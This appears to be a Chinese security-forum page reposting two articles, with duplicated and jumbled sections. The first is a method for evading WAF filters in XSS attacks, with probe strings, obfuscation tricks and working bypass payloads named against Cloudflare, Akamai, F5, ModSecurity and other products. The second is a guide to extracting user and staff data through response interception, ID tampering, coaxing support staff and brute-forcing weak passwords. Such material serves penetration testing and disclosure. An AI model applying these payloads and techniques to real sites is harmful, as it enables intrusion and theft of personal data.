旁路技术:黑名单中缺少标签(或事件处理程序)
名称: dotdefender
payload: <details/open/ontoggle=(confirm)()//
旁路技术:黑名单中缺少标签或函数调用混淆以及可替换的结束标签
转自:https://www.anquanke.com/post/id/173701 查看全部
 前言
本文提出了一种定义明确的方法来绕过跨站点脚本(XSS)安全机制,通过发送探针并编写payload用于检测恶意字符串的规则。拟议的方法包括三个阶段:确定payload结构,测试和混淆。
为给定上下文确定各种payload结构提供了最佳测试方法,下一阶段涉及针对目标安全机制测试各种字符串。分析目标响应情况以便做出假设。
最后,必要时可以将payload进行混淆或其他调整。
 
 介绍
跨站点脚本(XSS)是最常见的Web应用程序漏洞之一。通过清理用户输入,基于上下文转义输出,正确使用文档对象模型(DOM)接收器和源,实施适当的跨域资源共享(CORS)策略和其他安全策略,可以完全阻止它。尽管这些防御技术是公共知识,但Web应用程序防火墙(WAF)或自定义过滤器被广泛用于添加另一层安全性,以保护Web应用程序免受人为错误或新攻击媒介引入的漏洞的利用。虽然WAF供应商仍在尝试机器学习,但正则表达式仍然是最常用的检测恶意字符串的方法。本文提出了一种构建XSS payload的方法,该payload与这种安全机制使用的正则表达式不匹配。

 HTML CONTEXT
当用户输入被显示在网页的HTML代码中时,它被称为在HTML上下文中。 HTML上下文可以进一步根据显示位置划分为内标签和外标签。
  • 内标签–
    <input type="text" value="$input">
  • 外标签–
    <span>You entered $input</span>
 外标签此上下文的‘<'负责启动HTML标签。根据HTML规范,标签名称必须以字母开头。利用此规范,可以使用以下探针来确定用于匹配标签名称的正则表达式:
  • <svg [size=16]– 如果通过,则不进行任何标签检查[/size]
  • <dev [size=16]– 如果失败, [/size]<[a-z]+
  • x<dev [size=16]– 如果通过,[/size]^<[a-z]+
  • <dEv[size=16] – 如果失败, [/size]<[a-zA-Z]+
  • <d3V[size=16] – 如果失败, [/size]<[a-zA-Z0-9]+
  • <d|3v[size=16] – 如果失败, [/size]<.+
如果安全机制不允许这些探针,则不能绕过它。由于误报率高,这种严格的规则不被鼓励去使用。如果上述的任何一个探针未被禁止,则有许多编写payload的方案。   Payload方案#1
<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}
找到适当的{tag}值后,下一步是猜测用于匹配标签和事件处理程序之间填充符部分的正则表达式。此操作可以通过以下探针执行:
  • <tag xxx[size=16] – 如果失败,[/size]{space}
  • <tag%09xxx[size=16] – 如果失败,[/size][s]
  • <tag%09%09xxx[size=16] -如果失败, [/size]s+
  • <tag/xxx [size=16]– 如果失败,[/size][s/]+
  • <tag%0axxx [size=16]-如果失败, [/size][sn]+
  • <tag%0dxxx> [size=16]-如果失败, [/size][snr+]+
  • <tag/~/xxx[size=16] – 如果失败, [/size].*+
事件处理程序是payload结构中最重要的部分之一。它通常与种类的一般正则表达式onw+或黑名单相匹配,例如on(load|click|error|show)第一个正则表达式非常严格且不可能被绕过,然而有些不太知名的事件处理程序可能不在黑名单中,经常可以被绕过。因此可以通过两个简单的检查来识别所使用的类型。
  • <tag{filler}onxxx[size=16] – 如果失败,[/size]onw+
  • [size=16]如果通过, [/size]on(load|click|error|show)
  • <tag{filler}onclick[size=16] – 如果通过,则没有事件处理程序检查正则表达式。[/size]
如果正则的结果是onw+,则不能绕过它,因为所有事件处理程序都以on开始。在这种情况下,应该继续下一个payload。如果正则表达式遵循黑名单方法,则需要查找未列入黑名单的事件处理程序。如果所有事件处理程序都列入黑名单,则应继续执行下一个payload。   根据我对WAF的经验,我发现一些事件处理程序没有在黑名单中:
[code]onauxclickondblclickoncontextmenuonmouseleaveontouchcancel
[/code]下一个要执行的组件是JavaScript代码。它是payload的活动部分,但是匹配它不需要假设正则表达式,因为JavaScript代码是活动的,因此无法通过预定义模式进行匹配。此时,payload的所有组件都放在一起,只需要关闭payload,通过以下方式完成:
  • <payload>
  • <payload
  • <payload{space}
  • <payload//
  • <payload%0a
  • <payload%0d
  • <payload%09
应该注意的是,HTML规范允许<tag{white space}{anything here}>这表明例如:
<a href='http://example.com' ny text can be placed here as long as there's a greater-than sign somewhere later in the HTML document>
是有效的HTML标签。因此,HTML标签的此属性使攻击者可以通过上述方式注入标签。 Payload方案#2
<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
测试填充符(例如结束字符串)类似先前的payload方案。必须注意的是,可以在URL的末尾使用(如果在URL之后没有使用填充符),而不是结束标记。每个经过的字符都将被视为URL的一部分,直到遇到。通过使用<script>标记,很可能会被大多数安全规则检测到。标签<object>的payload可以用类似的payload方案编写:
<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
  Payload方案#3这个payload方案有两种变体:plain和obfuscatable。plain变体通常与诸如href[s]{0,}=[s]{0,}javascript:模式相匹配。其结构如下:
<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}
obfuscatable payload变体有如下结构:
<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}
这两个变体之间的显著差异是{special}组件和{quote}s。
{special}[size=16]指字符串[/size]javascript[size=16]的混淆版本,这可以使用换行符和水平制表符来混淆,如下所示:[/size]
  • j%0aAv%0dasCr%09ipt:
  • J%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0aT%0a:
  • J%0aa%0dv%09a%0as%0dc%09r%0ai%0dp%09T%0d%0a:
在某些情况下,数字字符编码也可用于绕过检测。可以使用十进制和十六进制。
  • Javascript&colon;
  • javascript:
显然有必要时两种混淆技术可以一起使用。
  • Java%0a%0d%09script&colon;
  可执行和不可执行上下文根据注入的payload是否可以在没有任何特殊帮助的情况下执行,外标签上下文可以进一步分为可执行和不可执行上下文。当用户输入显示在HTML注释中时,<--$input-->或者在以下标记之间,会发生不可执行的上下文:
[code]<style><title><noembed><template><noscript><textarea>
[/code]为了执行payload,必须关闭这些标签。因此测试可执行和非可执行上下文之间的唯一区别是{closing tag}组件的测试,可以按如下方式进行:
  • </tag>
  • </tAg/x>
  • </tag{space}>
  • </tag//>
  • </tag%0a>
  • </tag%0d>
  • </tag%09>
一旦发现有效的结束标签方案,{closing tag}{any payload from executable payload section} 就可以用于成功注入  内部标签 在属性值内/作为属性值此上下文的主字符是用于包含属性值的引号。例如,如果输入被显示为<input value="$input" type="text">那么主字符应该是 然而在某些情况下,主字符不需要突破上下文。 在事件处理程序内部如果输入显示在与事件处理程序关联的值中,例如,<tag event_handler="function($input)";触发事件处理程序将执行该值中存在的JavaScript。  在src属性里面如果输入被显示为src脚本或iframe标记的属性值,例如<script src="$input">,可以直接加载恶意脚本(在脚本标记的情况下)或网页(在iframe标记的情况下)如下:
<script src="http://example.com/malicious.js">
绕过URL匹配正则表达式:
  • //example.com/xss.js[size=16]绕过 [/size]http(?s)://
  • ////////example.com/xss.js[size=16]绕过[/size](?:http(?s):?)?//
  • ////\/example.com/xss.js[size=16]绕过 [/size](?:http(?s):?)?//+

 在srcdoc属性里面
如果输入被显示为srcdoc
iframe标签的属性值,例如<iframe srcdoc="$input">,可以提供一个转义(使用HTML实体)HTML文档作为payload,如下所示:
<iframe srcdoc="<svg/onload=alert()>">

 通用属性
上述所有情况都不需要任何旁路技术,除了最后一个可以使用HTML上下文部分中使用的技术绕过。讨论的案例并不常见,最常见的类型如下:
<input type="text" value=""/onfocus="alert()$input">

基于相关标签的交互性,它可以进而分为两类。

 可交互的
当输入显示在可以与例如点击,悬停,聚焦等交互的标签内时,突破上下文只需要引用一句话。在这种情况下的payload方案是:
{quote}{filler}{event_handler}{?filler}={?filler}{javascript}

可以使用以下探针完成检查是否被WAF阻止:
x"y

事件处理程序在这里起着重要作用,因为它是WAF可以检测到的唯一组件。每个标签都支持一些事件处理程序,并且由用户来查找这样的情况,但是有一些事件处理程序可以绑定到下面列出的任何标签:
[code]onclick
onauxclick
ondblclick
ondrag
ondragend
ondragenter
ondragexit
ondragleave
ondragover
ondragstart
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
[/code]
测试其余组件可以使用前面已经讨论过的方法。

 难控制的
当输入显示在无法与之交互的标签内时,需要使用标签本身来执行payload。这种情况的payload方案是:
{quote}>{any payload scheme from html context section}

 JavaScript上下文
 作为字符串变量
JavaScript上下文最常见的类型是字符串变量中的反射。这是因为开发人员通常将用户输入分配给变量而非直接使用它们。
var name = '$input';

 Payload方案#1
{quote}{delimiter}{javascript}{delimiter}{quote}

分隔符通常是JavaScipt运算符,诸如。例如,如果用户输入落在单个带引号的字符串变量中,则payload可能是:
[code]'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'
[/code]

 Payload方案#2
{quote}{delimiter}{javascript}//
它与之前的payload方案类似,只是它使用单行注释来注释掉行中的其余代码以保持语法有效。可以使用的payload是:
[code]'<{javascript}//'
'|{javascript}//'
'^{javascript}//'
[/code]
 在代码块中
输入经常被显示到代码块中。例如,如果用户已付费订阅且超过18岁,则网页会执行某些操作。具有反射输入的JavaScript代码如下所示:
[code]function example(age, subscription){
if (subscription){
if (age > 18){
another_function('$input');
}
else{
console.log('Requirements not met.');
}
}
[/code]
假设我们没有为订阅付费。为了解决这个问题,我们需要绕过if (subscription)块,这可以通过关闭条件块,函数调用等来完成。如果用户输入是');}}alert();if(true){(',它将显示如下:
[code]function example(age, subscription){
if (subscription){
if (age > 18){
another_function('');}}alert();if(true){('');
}
else{
console.log('Requirements not met.');
}
}
[/code]
这里有个缩进视图用于了解payload的工作原理:
function example(age, subscription){
if (subscription){
if (age > 18){
another_function('');
}
}
alert();
if (true){
('');
}
else{
console.log('Requirements not met.');
}
}
);[size=16]关闭当前的函数调用。[/size]
第一个关闭if (age > 18)块。
第二个关闭if subscription块。
alert();[size=16]用作测试的虚拟函数。[/size]
if(true){[size=16]启动一个[/size]if [size=16]条件块以保持代码在语法上有效,因为代码后面有一个else块。[/size]
[size=16]最后,[/size]('[size=16]结合我们最初注入的函数调用的剩余部分。[/size]

它是您在wild遇到的最简单的代码块之一。为了简化打破代码块的过程,建议使用语法高亮显示器,例如Sublime Text。
payload的结构取决于代码本身,这种不确定性使得检测非常困难。但如果有需要,可以对代码进行混淆处理。例如,上面代码块的payload可以写成:
');%0a}%0d}%09alert();/*anything here*/if(true){//anything here%0a('

如果输入显示到JavaScript代码中,无论它是在代码块还是变量字符串中,</scRipT{?filler}>{html context payload}都可以用于突破上下文并执行payload。这个payload方案应该在其他所有方面之前尝试,因为它很简单但也可能被检测到。

 当前绕过WAF方案
在研究期间,共绕过了8个WAF。我对这些供应商进行了披露,因此一些(或所有)旁路可能因此被修补。以下是绕过的WAF名称,payload和旁路技术列表:
名称: Cloudflare
payload: 
<a"/onclick=(confirm)()>click

旁路技术:非空白填充
名称: Wordfence
Payload: 
<a/href=javascript&colon;alert()>click

旁路技术:数字字符编码
名称: Barracuda
Payload: 
<a/href=Java%0a%0d%09script&colon;alert()>click

旁路技术:数字字符编码
名称: Akamai
payload: 
<d3v/onauxclick=[2].some(confirm)>click

旁路技术:黑名单中缺少事件处理程序和函数调用混淆
名称: Comodo
Payload: 
<d3v/onauxclick=(((confirm)))``>click

旁路技术:黑名单中缺少事件处理程序和函数调用混淆
名称: F5
payload: 
<d3v/onmouseleave=[2].some(confirm)>click

旁路技术:黑名单中缺少事件处理程序和函数调用混淆
名称: ModSecurity
payload: 
<details/open/ontoggle=alert()>

旁路技术:黑名单中缺少标签(或事件处理程序)
名称: dotdefender
payload: 
<details/open/ontoggle=(confirm)()//

旁路技术:黑名单中缺少标签或函数调用混淆以及可替换的结束标签
转自:https://www.anquanke.com/post/id/173701

挖洞技巧:信息泄露总结(转)

main 发表了文章 • 0 个评论 • 184 次浏览 • 2019-03-20 12:23 • 来自相关话题

Web方面的信息泄露:

0x01  用户信息泄露:

①:评论处

一般用户评论处用户的信息都是加密的,比如显示的是用户手机号或邮箱等,就会直接对中间的一段数字进行加密,但是有些可能就没有加密,而是直接显示出来,那么这就造成了用户信息泄露问题。

如果加密不当,直接游览用户评论处时进行抓包,然后查看返回包就可以直接看到明文,但有的时候会有2个参数,就比如name:1333******1这个值是加密的,但后面还会有一个testname这个参数就没有进行加密,从而导致用户信息泄露。

这里有一些小技巧,就比如一个买卖市场,他有用户评论的地方,有一个秒杀抢购成功的展示用户的地方,还有一个是用户相互交流的地方,一般白帽子测试了第一个功能处发现不存在问题,然后就不继续测试其它相同功能处了,这个疏忽就可能会导致错过一个发现问题的机会,每个功能处,加密机制有时候就会被漏掉,就比如用户评论处用户信息加了密,但是秒杀抢购成功的展示用户的地方却没有加密,所以白帽子要更细心点。

一般评论处都会有一个追加评论功能和一个商家回复功能,那么此时如果对这个功能参数没有加以加密,那么通过抓包游览查看返回包就可看到追加评论的用户信息和商家信息。

有些评论功能当中支持艾特(@)他人,那么在这个评论当中你通过@他人,然后输入信息点击发送到评论处时,通关抓包就可看到刚刚@的那个用户的明文信息。

当这个网站评论地方被搜索引擎爬虫到了,那么可以尝试利用搜索命令site:XXXX.com inurl:XX目录在搜索引擎当中搜索,如果加密不完全,那么就可以在搜索引擎当中看到明文信息。

关于这类的信息泄露问题我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0104766.html
  ②:转账处

很多大型公司都有自家的金融平台,然后在转账处,当你输入对方的转账的账户,比如手机号或者邮箱,然后当你点击其它地方,它会向服务器发送一条验证信息,验证输入的此账户是否存在,如果存在,返回对应的手机号或者邮箱账户的用户姓名,比如*王(1333333XXX)这样的返回信息,那么如果此时前端加密不当,可以通过抓包拦截这条请求,查看返回信息,就可看到明文的姓名。

关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0124969.html

一般在转账处输入手机号或邮箱账户的旁边,有一个历史转账信息,一个迷你的小页面,当你点击后会看到之前转账成功的信息,但是,如果此页面加密不全,那么在点击查看历史转账信息时直接抓包查看返回内容就可看到明文的姓名。③:搜索处

有些平台内置了搜索功能,跟搜索引擎思路很像,同样也是随意搜索,如果此时搜索的结果包含用户信息这块,那么就可能会导致用户信息泄露问题。

关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2014-069909.html[url=http://wooyun.jozxing.cc/static/bugs/wooyun-2014-069909.html]
[/url] ④:个人页面处

在个人页面当中,直接游览时直接抓包,查看返回包就可看到用户信息是否未加密完全。比如一些金融APP,如果加密不当,当点击个人界面时通过抓包查看返回包就可看到明文的身份证信息和用户名以及手机号。

当然这里不是只有涉及金融APP方面的才会有这个问题,只要是可以查看个人页面处都可能存在。

在查看银行卡信息那里,一般都是加了密的,但查看银行卡信息处时进行抓包查看返回包的时候就可看到明文的银行卡卡号信息和姓名信息。⑤:客服处

这个问题属于客服安全方面意思不足,大一点的来看就是公司没有对客服进行安全培训等,当你询问客服某手机号对应的姓名时,客服就会直接把姓名发你,当然这要考验你是怎么问的了,还有如果失败了不要放弃,换一个客服继续测试。 

0x02  越权方面的用户信息泄露

①:任意查看

很多平台需要进行实名制认证,在上传实名制所需要的身份证照片等信息图片时,如果没有对所产生的文件名格式进行复杂化的话,那么极有可能会存在任意查看,通过批量的方式就可以进行这些步骤,比如你上传了图片,服务器生成的图片地址是XXX.com/xxx/xx/012313.jpg这样短的数字格式文件名的话,就会存在该问题。

购物平台当中,在添加地址或修改地址的地方,如果权限没过滤好,就可以越权进行查看任意用户的地址信息。

在某些平台当中,支持添加子账户,然后随便添加一个子账户,然后在查看该子账户的时候进行抓包,修改其ID值,就可以查看任意账户信息

有些平台有操作日志或其它日志功能,那么如果此时对当前用户的权限过滤不当,那么就可以查看全部用户操作时产生的日志,从而导致信息泄露。

在很多金融平台当中,在修改昵称那里或者查看个人信息那里,提交时抓包,修改其用户值为存在用户的任意值,那么就可能造成查看任意用户信息的问题。

如果你进入了一些内部员工平台,那么如果具有搜索功能,就比如你输入了员工工号然后它会返回这个员工的所有在职信息,那么此时你可以通过抓包批量进行提交员工工号,就可造成大范围的信息泄露。

随便买一个东西生成订单,如果此时权限控制不当,就可以越权查看到任意用户的订单,那么信息也自认而然的泄露出来了。

关于这方面,我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2014-083157.html
 ②:任意重置

如果权限控制不当,可导致任意用户密码修改的话,那么登录后就可查看该用户的任意信息,这也就导致了用户信息泄露。 ③:任意修改

在下单的时候修改其用户ID为任意存在用户的ID,然后下单,然后查看刚刚下单的信息,就可看到该用户的收货地址信息,只要对方设置了收货地址。



 

0x03 接口方面的用户信息泄露

很多业务网站在上线的时候都忘记把测试时的接口进行关闭,从而导致这个接口可以查询大量用户信息。那么此类接口怎么找呢?

其中之一的方法通过Github.com网站进行搜索相关域名进行查找。
关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0116563.html
 

0x04 注入方面的用户信息泄露

注入可以说是非常非常的严重,因为注入往往都能得到很多信息,如果没做好相关过滤以及防护,就可导致注入,从而数据库内的各种数据面对裸露的危险。 

0x05  服务器路径信息泄露

①:上传图片处

在上传图片处,这里我说下最可能存在问题的点,就是关于上传相关证明,进行实名制上传信息等功能页面,在上传图片时进行抓包,然后查看返回包,那么就可看到当前服务器的绝对路径信息。②:XML处

一些XML限制或删除不完全,可导致服务器等信息泄露。

详细例子:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0123762.html③:第三方的服务当中

很多,如:Apache Tomcat、Struts2、CMS、zabbix、Nginx等等,例如Nginx的某版本解析漏洞,就可造成路径信息泄露。

关于这方面我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2013-019253.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2012-04655.html

④:利用报错问题

在处理报错信息的问题上如果处理不当,就可导致路径信息泄露,比如访问一些不存在的文件等思路。

这里我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2012-010115.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2011-02219.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2012-09901.html

以上就是关于服务器路径信息泄露问题!
  

0x06  员工信息泄露

①:各第三方平台当中

Github,很不错的开源社区平台。一些员工喜欢将自己的信息上传到这平台上,但是往往忽视了安全,有时这上传的代码当中就可能包含很多内部测试员工的账户以及密码信息等。

关于这方面我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0177720.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0164337.html


在搜索QQ群那里,通过搜索企业昵称,往往都可以搜索出来关于企业员工或企业方面的信息,一般都会贴在公告当中,比如某某测试账户等。

当然,你也可以申请加入群进行查看群文件,看是否有铭感的信息。

这里我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0128511.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-093927.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0208105.html


百度贴吧当中,一般都有公司员工创建的贴吧,如果安全意思不足,那么就会泄露相关员工工号,可用作暴力破解的字典。



②:弱密码问题

在一些涉及内部员工方面的系统,如果员工密码为弱密码,那么就可通过暴力破解方式进行尝试登录,如果成功爆破到了员工账户,那么一般只要是内部员工系统该账户都可以登录,那么所造成的影响也是很大的。

以上就是关于员工信息泄露的问题! 

0x07  数据库信息以及服务器信息泄露

①:各第三方平台当中

Github,一些员工如果安全意识不足,同样上传的代码当中就包含了数据库连接信息以及服务器信息。

关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0180848.html


利用搜索QQ群的思路,如果员工的安全意识不足,那么数据库连接信息以及服务器信息就会在公告或群文件当中②:XML处

同样在XML文件当中,也可能会发现数据库连接信息以及服务器信息。③:svn处

svn是一个开放源代码的版本控制系统,如果没有加以限制或者删除,那么就可以游览相关的比较隐蔽性的源码。

关于这类的问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0199607.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0191202.html
④:数据库文件

一些数据库相关文件如果删除不当或者摆放位置不当,那么极有可能被下载下来,造成危害。

关于这方面,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0158556.html
⑤:其它文件

比如其它类型的文件,如Txt、Doc、Excel等文件,如果包含铭感信息,那么危害也是显而易见的。

以上就是关于数据库信息以及服务器信息泄露的问题! 查看全部
Web方面的信息泄露:


0x01  用户信息泄露:


①:评论处

一般用户评论处用户的信息都是加密的,比如显示的是用户手机号或邮箱等,就会直接对中间的一段数字进行加密,但是有些可能就没有加密,而是直接显示出来,那么这就造成了用户信息泄露问题。

如果加密不当,直接游览用户评论处时进行抓包,然后查看返回包就可以直接看到明文,但有的时候会有2个参数,就比如name:1333******1这个值是加密的,但后面还会有一个testname这个参数就没有进行加密,从而导致用户信息泄露。

这里有一些小技巧,就比如一个买卖市场,他有用户评论的地方,有一个秒杀抢购成功的展示用户的地方,还有一个是用户相互交流的地方,一般白帽子测试了第一个功能处发现不存在问题,然后就不继续测试其它相同功能处了,这个疏忽就可能会导致错过一个发现问题的机会,每个功能处,加密机制有时候就会被漏掉,就比如用户评论处用户信息加了密,但是秒杀抢购成功的展示用户的地方却没有加密,所以白帽子要更细心点。

一般评论处都会有一个追加评论功能和一个商家回复功能,那么此时如果对这个功能参数没有加以加密,那么通过抓包游览查看返回包就可看到追加评论的用户信息和商家信息。

有些评论功能当中支持艾特(@)他人,那么在这个评论当中你通过@他人,然后输入信息点击发送到评论处时,通关抓包就可看到刚刚@的那个用户的明文信息。

当这个网站评论地方被搜索引擎爬虫到了,那么可以尝试利用搜索命令site:XXXX.com inurl:XX目录在搜索引擎当中搜索,如果加密不完全,那么就可以在搜索引擎当中看到明文信息。

关于这类的信息泄露问题我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0104766.html
 
 
②:转账处

很多大型公司都有自家的金融平台,然后在转账处,当你输入对方的转账的账户,比如手机号或者邮箱,然后当你点击其它地方,它会向服务器发送一条验证信息,验证输入的此账户是否存在,如果存在,返回对应的手机号或者邮箱账户的用户姓名,比如*王(1333333XXX)这样的返回信息,那么如果此时前端加密不当,可以通过抓包拦截这条请求,查看返回信息,就可看到明文的姓名。

关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0124969.html

一般在转账处输入手机号或邮箱账户的旁边,有一个历史转账信息,一个迷你的小页面,当你点击后会看到之前转账成功的信息,但是,如果此页面加密不全,那么在点击查看历史转账信息时直接抓包查看返回内容就可看到明文的姓名。
③:搜索处

有些平台内置了搜索功能,跟搜索引擎思路很像,同样也是随意搜索,如果此时搜索的结果包含用户信息这块,那么就可能会导致用户信息泄露问题。

关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2014-069909.html[url=http://wooyun.jozxing.cc/static/bugs/wooyun-2014-069909.html]
[/url]
 
④:个人页面处

在个人页面当中,直接游览时直接抓包,查看返回包就可看到用户信息是否未加密完全。比如一些金融APP,如果加密不当,当点击个人界面时通过抓包查看返回包就可看到明文的身份证信息和用户名以及手机号。

当然这里不是只有涉及金融APP方面的才会有这个问题,只要是可以查看个人页面处都可能存在。

在查看银行卡信息那里,一般都是加了密的,但查看银行卡信息处时进行抓包查看返回包的时候就可看到明文的银行卡卡号信息和姓名信息。
⑤:客服处

这个问题属于客服安全方面意思不足,大一点的来看就是公司没有对客服进行安全培训等,当你询问客服某手机号对应的姓名时,客服就会直接把姓名发你,当然这要考验你是怎么问的了,还有如果失败了不要放弃,换一个客服继续测试。
 


0x02  越权方面的用户信息泄露


①:任意查看

很多平台需要进行实名制认证,在上传实名制所需要的身份证照片等信息图片时,如果没有对所产生的文件名格式进行复杂化的话,那么极有可能会存在任意查看,通过批量的方式就可以进行这些步骤,比如你上传了图片,服务器生成的图片地址是XXX.com/xxx/xx/012313.jpg这样短的数字格式文件名的话,就会存在该问题。

购物平台当中,在添加地址或修改地址的地方,如果权限没过滤好,就可以越权进行查看任意用户的地址信息。

在某些平台当中,支持添加子账户,然后随便添加一个子账户,然后在查看该子账户的时候进行抓包,修改其ID值,就可以查看任意账户信息

有些平台有操作日志或其它日志功能,那么如果此时对当前用户的权限过滤不当,那么就可以查看全部用户操作时产生的日志,从而导致信息泄露。

在很多金融平台当中,在修改昵称那里或者查看个人信息那里,提交时抓包,修改其用户值为存在用户的任意值,那么就可能造成查看任意用户信息的问题。

如果你进入了一些内部员工平台,那么如果具有搜索功能,就比如你输入了员工工号然后它会返回这个员工的所有在职信息,那么此时你可以通过抓包批量进行提交员工工号,就可造成大范围的信息泄露。

随便买一个东西生成订单,如果此时权限控制不当,就可以越权查看到任意用户的订单,那么信息也自认而然的泄露出来了。

关于这方面,我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2014-083157.html
 
②:任意重置

如果权限控制不当,可导致任意用户密码修改的话,那么登录后就可查看该用户的任意信息,这也就导致了用户信息泄露。
 
③:任意修改

在下单的时候修改其用户ID为任意存在用户的ID,然后下单,然后查看刚刚下单的信息,就可看到该用户的收货地址信息,只要对方设置了收货地址。



 


0x03 接口方面的用户信息泄露


很多业务网站在上线的时候都忘记把测试时的接口进行关闭,从而导致这个接口可以查询大量用户信息。那么此类接口怎么找呢?

其中之一的方法通过Github.com网站进行搜索相关域名进行查找。
关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0116563.html
 


0x04 注入方面的用户信息泄露


注入可以说是非常非常的严重,因为注入往往都能得到很多信息,如果没做好相关过滤以及防护,就可导致注入,从而数据库内的各种数据面对裸露的危险。
 


0x05  服务器路径信息泄露


①:上传图片处

在上传图片处,这里我说下最可能存在问题的点,就是关于上传相关证明,进行实名制上传信息等功能页面,在上传图片时进行抓包,然后查看返回包,那么就可看到当前服务器的绝对路径信息。
②:XML处

一些XML限制或删除不完全,可导致服务器等信息泄露。

详细例子:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0123762.html
③:第三方的服务当中

很多,如:Apache Tomcat、Struts2、CMS、zabbix、Nginx等等,例如Nginx的某版本解析漏洞,就可造成路径信息泄露。

关于这方面我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2013-019253.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2012-04655.html

④:利用报错问题

在处理报错信息的问题上如果处理不当,就可导致路径信息泄露,比如访问一些不存在的文件等思路。

这里我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2012-010115.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2011-02219.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2012-09901.html

以上就是关于服务器路径信息泄露问题!

  


0x06  员工信息泄露


①:各第三方平台当中

Github,很不错的开源社区平台。一些员工喜欢将自己的信息上传到这平台上,但是往往忽视了安全,有时这上传的代码当中就可能包含很多内部测试员工的账户以及密码信息等。

关于这方面我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0177720.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0164337.html


在搜索QQ群那里,通过搜索企业昵称,往往都可以搜索出来关于企业员工或企业方面的信息,一般都会贴在公告当中,比如某某测试账户等。

当然,你也可以申请加入群进行查看群文件,看是否有铭感的信息。

这里我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0128511.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-093927.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0208105.html


百度贴吧当中,一般都有公司员工创建的贴吧,如果安全意思不足,那么就会泄露相关员工工号,可用作暴力破解的字典。



②:弱密码问题

在一些涉及内部员工方面的系统,如果员工密码为弱密码,那么就可通过暴力破解方式进行尝试登录,如果成功爆破到了员工账户,那么一般只要是内部员工系统该账户都可以登录,那么所造成的影响也是很大的。

以上就是关于员工信息泄露的问题!
 


0x07  数据库信息以及服务器信息泄露


①:各第三方平台当中

Github,一些员工如果安全意识不足,同样上传的代码当中就包含了数据库连接信息以及服务器信息。

关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0180848.html


利用搜索QQ群的思路,如果员工的安全意识不足,那么数据库连接信息以及服务器信息就会在公告或群文件当中
②:XML处

同样在XML文件当中,也可能会发现数据库连接信息以及服务器信息。
③:svn处

svn是一个开放源代码的版本控制系统,如果没有加以限制或者删除,那么就可以游览相关的比较隐蔽性的源码。

关于这类的问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0199607.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0191202.html
④:数据库文件

一些数据库相关文件如果删除不当或者摆放位置不当,那么极有可能被下载下来,造成危害。

关于这方面,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0158556.html
⑤:其它文件

比如其它类型的文件,如Txt、Doc、Excel等文件,如果包含铭感信息,那么危害也是显而易见的。

以上就是关于数据库信息以及服务器信息泄露的问题!